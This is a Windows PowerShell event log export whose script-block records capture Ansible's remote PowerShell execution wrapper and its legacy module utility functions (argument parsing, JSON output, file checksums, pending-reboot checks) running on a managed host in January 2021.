Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1762 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 2236 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:52 AM | dfeadd90-ee34-0002-e6fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
WNlKCItIiwgIiIpLlRvTG93ZXIoKTsKICAgICAgICAgICAgJGZwLkRpc3Bvc2UoKTsKICAgICAgICB9CiAgICB9CiAgICBFbHNlSWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCAtUGF0aFR5cGUgQ29udGFpbmVyKQogICAgewogICAgICAgICRoYXNoID0gIjMiOwogICAgfQogICAgRWxzZQogICAgewogICAgICAgICRoYXNoID0gIjEiOwogICAgfQogICAgcmV0dXJuICRoYXNoCn0KCkZ1bmN0aW9uIEdldC1QZW5kaW5nUmVib290U3RhdHVzCnsKPCMKICAgIC5TWU5PUFNJUwogICAgQ2hlY2sgaWYgcmVib290IGlzIHJlcXVpcmVkLCBpZiBzbyBub3RpZnkgQ0EuCiAgICBGdW5jdGlvbiByZXR1cm5zIH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eS1NTS1kZFRISDptbTpzc1oiKQogICAgICAgIGlzbzg2MDFfYmFzaWMgPSAkZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXlNTWRkVEhIbW1zc2ZmZmZmZiIpCiAgICAgICAgaXNvODYwMV9iYXNpY19zaG9ydCA9ICRkYXRldGltZS5Ub1N0cmluZygieXl5eU1NZGRUSEhtbXNzIikKICAgICAgICBpc284NjAxX21pY3JvID0gJGRhdGV0aW1lX3V0Yy5Ub1N0cmluZygieXl5eS1NTS1kZFRISDptbTpzcy5mZmZmZmZaIikKICAgICAgICBtaW51dGUgPSAkZGF0ZXRpbWUuVG9TdHJpbmcoIm1tIikKICAgICAgICBtb250aCA9ICRkYXRldGltZS5Ub1N0cmluZygiTU0iKQogICAgICAgIHNlY29uZCA9ICRkYXRldGltZS5Ub1N0cmluZygic3MiKQogICAgICAgIHRpbWUgPSAkZGF0ZXRpbWUuVG9TdHJpbmcoIkhIOm1tOnNzIikKICAgICAgICB0eiA9IChbU3lzdGVtLlRpbWVab25lSW5mb106OkxvY2FsLklkKQogICAgICAgIHR6X29mZnNldCA9ICRkYXRldGltZS5Ub1N0cmluZygienp6eiIpCiAgICAgICAgIyBFbnN1cmUgdGhhdCB0aGUgd2Vla2RheSBpcyBpbiBFbmdsaXNoCiAgICAgICAgd2Vla2RheSA9ICRkYXRldGltZS5Ub1N0cmluZygiZGRkZCIsIFtTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mb106OkludmFyaWFudEN1bHR1cmUpCiAgICAgICAgd2Vla2RheV9udW1iZXIgPSAoR2V0LURhdGUgLVVGb3JtYXQgIiV3IikKICAgICAgICB3ZWVrbnVtYmVyID0gKEdldC1EYXRlIC1VRm9ybWF0ICIlVyIpCiAgICAgICAgeWVhciA9ICRkYXRldGltZS5Ub1N0cmluZygieXl5eSIpCiAgICB9CgogICAgJGFuc2libGVfZmFjdHMgKz0gQHsKICAgICAgICBhbnNpYmxlX2RhdGVfdGltZSA9ICRkYX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cmUgPSAoJHdpbjMyX2NwdS5OdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzIC8gJHdpbjMyX2NzLk51bWJlck9mUHJvY2Vzc29ycyAvICR3aW4zMl9jcHUuTnVtYmVyT2ZDb3JlcykKICAgICAgICBhbnNpYmxlX3Byb2Nlc3Nvcl92Y3B1cyA9ICgkd2luMzJfY3B1Lk51bWJlck9mTG9naWNhbFByb2Nlc3NvcnMgLyAkd2luMzJfY3MuTnVtYmVyT2ZQcm9jZXNzb3JzKQogICAgfQp9CgppZigkZ2F0aGVyX3N1YnNldC5Db250YWlucygndXB0aW1lJykpIHsKICAgICR3aW4zMl9vcyA9IEdldC1MYXp5Q2ltSW5zdGFuY2UgV2luMzJfT3BlcmF0aW5nU3lzdGVtCiAgICAkYW5zaWJsZV9mYWN0cyArPSBAewogICAgICAgIGFuc2libGVfbGFzdGJvb3QgPSAkd2luMzJfb3MubGFzdGJvb3R1cHRpbWUuVG9TdHJpbmcoInUiKQogICAgICAgIGFuc2libGVfdXB0aW1lX3NlY29uZHMgPSAkKFtTeXN0ZW0uQ29udmVyd
ScriptBlock ID: d1b0befb-52b4-418c-9a4c-f35fb219154b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1761 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 2236 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:52 AM | dfeadd90-ee34-0002-e6fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1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XJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIFRoaXMgaXMgYSBjb252ZW5pZW5jZSB0byBtYWtlIGFkZGluZyBNZW1iZXJzIHRvIHRoZSBvYmplY3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zdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgIC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ArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLW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W1N5c3RlbS5JTy5GaWxlXTo6T3BlbigkcGF0aCwgW1N5c3RlbS5JTy5GaWxlbW9kZV06Ok9wZW4sIFtTeXN0ZW0uSU8uRmlsZUFjY2Vzc106OlJlYWQsIFtTeXN0ZW0uSU8uRmlsZVNoYXJlXTo6UmVhZFdyaXRlKTsKICAgICAgICAgICAgJGhhc2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRzcC5Db21wdXRlSGFzaCgkZnApKS5SZXBsY
ScriptBlock ID: d1b0befb-52b4-418c-9a4c-f35fb219154b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1760 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 2236 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:52 AM | dfeadd90-ee34-0002-e6fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1759 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 4912 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:51 AM | dfeadd90-ee34-0002-e3fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2860 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1758 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 1700 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:51 AM | dfeadd90-ee34-0002-e3fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1757 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2860 | 4912 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:15:51 AM | dfeadd90-ee34-0002-e3fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: e3d54725-ca4d-4664-9ef4-98abfd488b39
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1756 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-43ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 97e71c28-a52f-4cf0-b77d-49b8e9ee0405
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1755 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-30ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 6):
xsIGNoZWNrIGlmIGFueSBvZiB0aGUgZGVmYXVsdCBhY3Rpb25zIGFyZSBzZXQgYW5kIGZhaWwgYXMgd2UgY2Fubm90IGFjdGlvbiBpdAogICAgICAgICAgICBpZiAoJHN0YXJ0X21vZGUgLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJHN0YXRlIC1uZSAkbnVsbCAtb3IKICAgICAgICAgICAgICAgICR1c2VybmFtZSAtbmUgJG51bGwgLW9yCiAgICAgICAgICAgICAgICAkcGFzc3dvcmQgLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJGRpc3BsYXlfbmFtZSAtbmUgJG51bGwgLW9yCiAgICAgICAgICAgICAgICAkZGVzY3JpcHRpb24gLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJGRlc2t0b3BfaW50ZXJhY3QgLW5lICRmYWxzZSAtb3IKICAgICAgICAgICAgICAgICRkZXBlbmRlbmNpZXMgLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJGRlcGVuZGVuY3lfYWN0aW9uIC1uZSAnc2V0JykgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAkcmVzdWx0ICJTZXJ2aWNlICckbmFtZScgaXMgbm90IGluc3RhbGxlZCwgbmVlZCB0byBzZXQgJ3BhdGgnIHRvIGNyZWF0ZSBhIG5ldyBzZXJ2aWNlIgogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgojIEFmdGVyIG1ha2luZyBhIGNoYW5nZSwgbGV0J3MgZ2V0IHRoZSBzZXJ2aWNlIGluZm8gYWdhaW4gdW5